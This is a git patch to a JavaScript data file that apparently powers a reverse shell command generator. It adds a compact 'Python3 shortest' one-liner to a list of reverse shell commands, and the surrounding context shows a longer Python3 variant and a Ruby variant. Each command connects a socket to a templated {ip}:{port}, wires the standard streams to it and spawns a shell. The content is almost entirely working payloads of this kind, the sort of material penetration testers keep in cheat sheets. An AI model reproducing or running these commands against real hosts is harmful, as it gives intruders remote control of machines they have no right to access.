From e4282d4fe0dd7a5d8d973ac4bfafc7c0f499f6b8 Mon Sep 17 00:00:00 2001 From: Ricardo Costa Date: Sat, 29 May 2021 07:18:54 -0400 Subject: [PATCH] Add Python3 shortest one-liner --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index 695c293..6e64bcf 100644 --- a/js/data.js +++ b/js/data.js @@ -198,6 +198,11 @@ const reverseShellCommands = withCommandType( "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", "meta": ["linux", "mac"] }, + { + "name": "Python3 shortest", + "command": "python3 -c'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'", + "meta": ["linux"] + }, { "name": "Ruby #1", "command": "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'",